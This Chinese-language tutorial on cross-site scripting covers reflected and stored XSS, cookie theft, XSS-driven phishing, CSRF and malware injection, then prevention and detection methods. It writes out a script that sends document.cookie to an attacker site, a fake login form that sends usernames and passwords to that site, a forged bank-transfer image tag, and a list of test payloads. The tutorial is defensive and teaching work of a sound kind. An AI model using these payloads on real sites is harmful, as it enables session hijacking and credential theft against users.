网络安全-跨站脚本攻击XSS(Cross-Site Scripting)
一、XSS攻擊簡介
作為一種HTML注入攻擊,XSS攻擊的核心思想就是在HTML頁面中注入惡意代碼,而XSS采用的注入方式是非常巧妙的。
在XSS攻擊中,一般有三個角色參與:攻擊者、目標服務器、受害者的瀏覽器。
由于有的服務器并沒有對用戶的輸入進行安全方面的驗證,攻擊者就可以很容易地通過正常的輸入手段,夾帶進一些惡意的HTML腳本代碼。當受害者的瀏覽器訪問目標服務器上被注入惡意腳本的頁面后,由于它對目標服務器的信任,這段惡意腳本的執行不會受到什么阻礙。而此時,攻擊者的目的就已經達到了。
下面我們以一段簡單的JavaScript腳本為例,來描述整個XSS攻擊的過程:
<script>alert(document.cookie);</script>
上面這段腳本的執行具體內容就是彈出一個對話框顯示用戶的Cookie信息。攻擊者在向目標服務器的某個頁面進行數據輸入的過程中,通過正常的輸入方式夾帶進這段腳本。假如一切正常的時候,生成的頁面代碼如下形式:
可以看到,這段腳本已經成功嵌入到該頁面當中。當受害瀏覽器訪問這個頁面的時候,這段腳本也將被認為是頁面的一部分,從而得到執行,即彈出對話框顯示受害瀏覽器的Cookie信息。
當然,上面的腳本只是一個簡單的例子,只要你愿意,可以盡管注入任意的腳本代碼,而這些腳本代碼也將能夠在受害的瀏覽器上得到執行。剩下的關鍵就是如何讓更多受害者去瀏覽這個被注入腳本的頁面了,而這方面就屬于社會工程學的范疇了,作為一名駭客,坑蒙拐騙的功底還是要有的。
二、XSS攻擊的分類
根據XSS腳本注入方式的不同,我們可以對XSS攻擊進行簡單的分類。其中,最常見的就數反射型XSS和存儲型XSS了。
1.反射型XSS
反射型XSS,又稱非持久型XSS。之所以稱為反射型XSS,則是因為這種攻擊方式的注入代碼是從目標服務器通過錯誤信息、搜索結果等等方式“反射”回來的。而稱為非持久型XSS,則是因為這種攻擊方式具有一次性。攻擊者通過電子郵件等方式將包含注入腳本的惡意鏈接發送給受害者,當受害者點擊該鏈接時,注入腳本被傳輸到目標服務器上,然后服務器將注入腳本“反射”到受害者的瀏覽器上,從而在該瀏覽器上執行了這段腳本。
比如攻擊者將如下鏈接發送給受害者:
http://www.targetserver.com/search.asp?input=<script>alert(document.cookie);</script>
當受害者點擊這個鏈接的時候,注入的腳本被當作搜索的關鍵詞發送到目標服務器的search.asp頁面中,則在搜索結果的返回頁面中,這段腳本將被當作搜索的關鍵詞而嵌入。這樣,當用戶得到搜索結果頁面后,這段腳本也得到了執行。這就是反射型XSS攻擊的原理,可以看到,攻擊者巧妙地通過反射型XSS的攻擊方式,達到了在受害者的瀏覽器上執行腳本的目的。由于代碼注入的是一個動態產生的頁面而不是永久的頁面,因此這種攻擊方式只在點擊鏈接的時候才產生作用,這也是它被稱為非持久型XSS的原因。
2.存儲型XSS
存儲型XSS,又稱持久型XSS,他和反射型XSS最大的不同就是,攻擊腳本將被永久地存放在目標服務器的數據庫和文件中。這種攻擊多見于論壇,攻擊者在發帖的過程中,將惡意腳本連同正常信息一起注入到帖子的內容之中。隨著帖子被論壇服務器存儲下來,惡意腳本也永久地被存放在論壇服務器的后端存儲器中。當其它用戶瀏覽這個被注入了惡意腳本的帖子的時候,惡意腳本則會在他們的瀏覽器中得到執行,從而受到了攻擊。
可以看到,存儲型XSS的攻擊方式能夠將惡意代碼永久地嵌入一個頁面當中,所有訪問這個頁面的用戶都將成為受害者。如果我們能夠謹慎對待不明鏈接,那么反射型的XSS攻擊將沒有多大作為,而存儲型XSS則不同,由于它注入的往往是一些我們所信任的頁面,因此無論我們多么小心,都難免會受到攻擊。可以說,存儲型XSS更具有隱蔽性,帶來的危害也更大,除非服務器能完全阻止注入,否則任何人都很有可能受到攻擊。
三、XSS攻擊的手段及其危害
由于XSS的隱蔽性及其攻擊面的廣泛性,使得利用XSS漏洞的各種攻擊方式層出不窮,給我們普通的互聯網用戶帶來了很大的危害。根據注入腳本代碼的不同,XSS可以引導各種各樣的攻擊。下面將具體介紹幾種目前互聯網上常見的XSS攻擊手段及其帶來的危害。
1.竊取Cookie
通過XSS攻擊,由于注入代碼是在受害者的瀏覽器上執行,因此能夠很方便地竊取到受害者的Cookie信息。比如,我們只要注入類似如下的代碼:
<script>location.replace(“http://www.attackpage.com/record.asp?secret=“+document.cookie)</script>
當受害者的瀏覽器執行這段腳本的時候,就會自動訪問攻擊者建立的網站www.attackpage.com,打開其中的recourd.asp,將受害者瀏覽器的Cookie信息給記錄下來。這樣,攻擊者就得到了用戶的Cookie信息。
得到受害者的Cookie信息后,攻擊者可以很方便地冒充受害者,從而擁有其在目標服務器上的所有權限,相當于受害者的身份認證被竊取了。這樣,攻擊者可以任意地利用受害者的身份訪問服務器上的資源和服務,甚至對受害者和服務器上的數據進行破壞。如果受害者擁有管理員權限,攻擊者還可以利用其提升自己賬號的權限,從而進行進一步的攻擊。
注:Cookie,有時也用其復數形式Cookies,指某些網站為了辨別用戶身份、進行session跟蹤而儲存在用戶本地終端上的數據(通常經過加密)
2.引導釣魚
所謂釣魚攻擊就是構建一個釣魚頁面,誘騙受害者在其中輸入一些敏感信息,然后將其發送給攻擊者。利用XSS的注入腳本,我們也可以很方便地注入釣魚頁面的代碼,從而引導釣魚攻擊。比如下面這樣一段代碼:
<script>
function hack()
{
location.replace(“http://www.attackpage.com/record.asp?username=“
+document.forms[0].user.value + “password=” + document.forms[0].pass.value);
}
</script>
<form>
<br><br><HR><H3>這個功能需要登錄:</H3 >
<br><br>請輸入用戶名:<br>
<input type=”text” id=”user”name=”user”>
<br>請輸入密碼:<br>
<input type=”password” name =“pass”>
<br><input type=”submit”name=”login” value=”登錄”onclick=”hack()”>
</form><br><br><HR>
注入上面的代碼后,則會在原來的頁面上,插入一段表單,要求用戶輸入自己的用戶名和密碼,而當用戶點擊“登錄”按鈕后,則會執行hack()函數,將用戶的輸入發送到攻擊者指定的網站上去。這樣,攻擊者就成功竊取了該用戶的賬號信息。可以看到,和一般的釣魚攻擊不同,XSS引導的釣魚攻擊由于是對用戶信任的網站頁面進行修改,因此隱蔽性很高,而用戶的賬號失竊往往會帶來重大的損失,因此它的危害也是十分巨大的。
3.跨站請求偽造
跨站請求偽造(Cross-SiteRequest Forgery,CSRF),作為OWASP組織的2007年提出十大安全漏洞第五,它也屬于XSS攻擊的一種衍生。所謂跨站請求偽造,就是攻擊者利用XSS注入攻擊的方式,注入一段腳本,而當受害者的瀏覽器運行這段腳本時,腳本偽造受害者發送了一個合法請求。比如我們注入如下的HTML代碼:
<imgsrc = “http://www.bank.com/transfer.do?toAct=123456&money=10000>
假如上面的代碼中所訪問的是某個銀行網站的轉賬服務,則當受害者的瀏覽器運行這段腳本時,就會向攻擊者指定的賬戶(示例的123456)執行轉賬操作。由于這個轉賬請求是在受害者的瀏覽器中運行的,因此瀏覽器也會自動將受害者的Cookie信息一并發送。這樣,發送的請求就好像是受害者自己發送的一樣,銀行網站也將認可這個請求的合法性,攻擊者也就達到了偽造請求的目的。
4.注入惡意軟件
除了直接注入惡意腳本以外,通過XSS攻擊,攻擊者也可以很方便地在腳本中引入一些惡意軟件,比如病毒、木馬、蠕蟲等等。例如,攻擊者可以在某個自己建立的頁面上放置一些惡意軟件,然后用XSS注入的方式,插入一段引用該頁面的腳本。這樣當受害者的瀏覽器執行這段腳本的時候,就會自動訪問放置了惡意軟件的頁面,從而受到這些惡意軟件的感染。
利用XSS注入惡意軟件的方式,攻擊者可以很方便地在互聯網上傳播病毒、木馬和蠕蟲,通過這種途徑,攻擊者就可以通過這些病毒、木馬和蠕蟲,進一步地對受害者的主機發動攻擊。目前,互聯網上的“掛馬”現象非常普遍,而XSS注入的出現也無疑給“掛馬”的攻擊者指明了又一個新的方向。通過傳播這些木馬,竊取合法用戶的敏感信息,不少非法攻擊者也逐漸將這一過程產業化,經常可以見到以信封方式批量兜售賬號密碼的現象。這也給許多正常的網絡用戶造成了許多無法挽回的巨大損失,造成的危害也很大。
四、XSS的預防
在前面的文章中,我們具體介紹了各種XSS攻擊的原理和方式。可以看出,XSS是一種覆蓋面很廣,隱蔽性很高,危害也非常大的網絡應用安全漏洞。除非網站服務器完全不存在XSS漏洞,否則就會給攻擊者們留下空子。因此,如何在Web應用程序的開發過程中對XSS漏洞進行預防,是所有網站開發人員所必須注意的重中之重。下面我們介紹幾種常用的XSS預防措施。
1.輸入檢測
對用戶的所有輸入數據進行檢測,比如過濾其中的“<”、“>”、“/”等可能導致腳本注入的特殊字符,或者過濾“script”、“javascript”等腳本關鍵字,或者對輸入數據的長度進行限制等等。同時,我們也要考慮用戶可能繞開ASCII碼,使用十六進行編碼如“<</span>”(“<”)、“>”(“>”)等來輸入腳本。因此,對用戶輸入的十六進制編碼,我們也要進行相應的過濾。只要開發人員能夠嚴格檢測每一處交互點,保證對所有用戶可能的輸入都進行檢測和XSS過濾,就能夠有效地阻止XSS攻擊。
2.輸出編碼
通過前面對XSS攻擊的分析,我們可以看到,之所以會產生XSS攻擊,就是因為Web應用程序將用戶的輸入直接嵌入到某個頁面當中,作為該頁面的HTML代碼的一部分。因此,當Web應用程序將用戶的輸入數據輸出到目標頁面中時,只要用HtmlEncoder等工具先對這些數據進行編碼,然后再輸出到目標頁面中。這樣,如果用戶輸入一些HTML的腳本,也會被當成普通的文字,而不會成為目標頁面HTML代碼的一部分得到執行。
3. Cookie防盜
利用XSS攻擊,攻擊者可以很方便地竊取到合法用戶的Cookie信息。因此,對于網站來說,不能在Cookie信息中存放太多敏感信息,也不能將Cookie作為身份認證的唯一標識,等等。因此,對于Cookie,我們可以采取以下的措施。首先,我們要盡可能地避免在Cookie中泄露隱私,如用戶名、密碼等;其次,我們可以將Cookie信息用MD5等Hash算法進行多次散列后存放;再次,為了防止重放攻擊,我們也可以將Cookie和IP進行綁定,這樣也可以阻止攻擊者冒充正常用戶的身份。
4.嚴格限制URL訪問
攻擊者使用XSS攻擊,通常都要借助于自己指定的網站頁面,比如用它來記錄敏感信息、在該頁面上“掛馬”等等。因此,在頁面的腳本代碼執行過程中,只要我們嚴格限制其訪問的URL,比如只允許腳本代碼訪問本網站的URL等方式,就可以避免腳本的執行鏈接到其它可能是攻擊者指定的頁面上。
5.用戶注意事項
作為一名普通的網絡用戶,在XSS攻擊的預防上總體處在被動的地位。但是我們也可以通過采取一些措施來盡可能地避免受到XSS攻擊。首先,我們不要輕易相信電子郵件或者網頁中的不明鏈接,這些鏈接很有可能引導反射型XSS攻擊或者使我們訪問到一些不安全的網頁。其次,我們在不必要的時候可以禁用腳本功能,這樣XSS注入的腳本就無法得到運行。再次,我們也可以使用一些安全的瀏覽器上網,有的瀏覽器提供XSS過濾功能,會提示頁面中可能發生的XSS注入并將其阻擋下來。
五、XSS的漏洞檢測
1.黑盒測試
所謂黑盒測試,就是在不知道系統的代碼和運行狀態的條件下,對系統進行的測試。在對XSS漏洞的檢測中,我們可以模擬黑客的攻擊手段,在所有可能的數據輸入接口處,嘗試進行一些XSS注入。通過觀察注入后的引用這些數據的頁面,看其是否出現被注入的現象,即可確實是否存在XSS漏洞。比如我們可以用下面所列的一些腳本來嘗試XSS注入:
><script>alert(document.cookie)</script>
=’><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
<script>alert(’XSS’)</script>
<imgsrc=”javascript:alert(’XSS’)”>
<imgsrc=”http://xxx.com/yyy.png” onerror=”alert(’XSS’)”>
<divstyle=”height:expression_r(alert(’XSS’),1)” />(這個僅限 IE 有效)
如果在打開那些引用了該輸入數據的頁面時,彈出對話框顯示信息,則可以確定該數據輸入時有可能導致XSS注入,從而確定了XSS漏洞的位置。
2.靜態分析
XSS漏洞靜態分析方法屬于白盒測試方法的一種,它通過對Web應用的代碼進行分析,從而發現其中可能存在的問題。通常來說,靜態分析技術只是對代碼進行一些簡單的掃描,找到其中有可能導致XSS注入的地方,將其報告給我們。
比如在Web應用的代碼中可能存在一些讀入數據的API,如Request.QueryString(),$_GET等,如果存在這些API,則表示可能引入XSS的注入。通過靜態分析工具,我們可以很容易發現所有這些讀入數據的API,從而詳細檢查每一個數據輸入點是否進行了XSS注入的過濾。可以看到,靜態分析的方法,只是幫助我們定位XSS漏洞的可能位置,由于靜態分析工具難以判定是否對輸入數據進行過XSS過濾,因此還是需要我們手動地進行檢查,從而確保不存在XSS漏洞。
3.數據流分析
XSS漏洞之所以產生,根本原因在于不安全的數據流,使得用戶的輸入數據被直接嵌入到某些頁面中。比如PHP中的echo語句,就能夠將一些數據直接添加為HTML頁面的一部分,如果這個數據是用戶注入了XSS腳本的數據,則會導致產生XSS攻擊。因此,數據流分析的主要思想就是使用一些模型或者工具,分析Web應用程序代碼中的數據傳輸情況,從而發現其中存在的問題。比如,我們可以將用戶的輸入數據所存儲的變量打上污點標記,通過對數據流和變量類型的分析,逐步標記所有引用了污點變量的中間變量,最后通過觀察輸出到頁面中的變量數據是否存在污點,來判斷是否可能產生XSS漏洞。
總結
以上是生活随笔為你收集整理的网络安全-跨站脚本攻击XSS(Cross-Site Scripting)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 用Delphi即时判断当前的网络的连接方
- 下一篇: win32框架,GDI图形编程写一个He